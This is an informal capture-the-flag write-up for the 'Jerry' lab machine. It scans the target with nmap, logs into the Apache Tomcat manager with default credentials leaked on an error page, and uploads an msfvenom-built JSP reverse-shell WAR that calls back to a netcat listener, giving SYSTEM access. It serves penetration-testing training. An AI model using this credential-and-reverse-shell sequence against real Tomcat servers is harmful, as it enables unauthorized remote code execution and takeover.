Jerry

Nmap

sudo nmap -Pn -n 10.129.2.157 -sC -sV -p- --min-rate=10000 --open

sudo nmap -Pn -n 10.129.2.157 -sU --top-ports=100 --reason

HTTP - 80

We get to an apache tomcat page and if we click on the manager gui button it then takes us to another page but not before asking us for credentials.

If we guess admin:admin then we get to an error page which actually gives us the real credentials: tomcat:s3cret

If we log in again correctly we see a page where we can upload WAR files

Create the payload and set up a listener on our machine:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.195 LPORT=4444 -f war -o shell.war

rlwrap nc -lvnp 4444

Upload the shell.war file and click on /shell that appears after its uploaded

If we do a whoami command we can see we're alredy nt/authority which means we dont need to escalate privileges. flag is found in the administrator/desktop/flags directory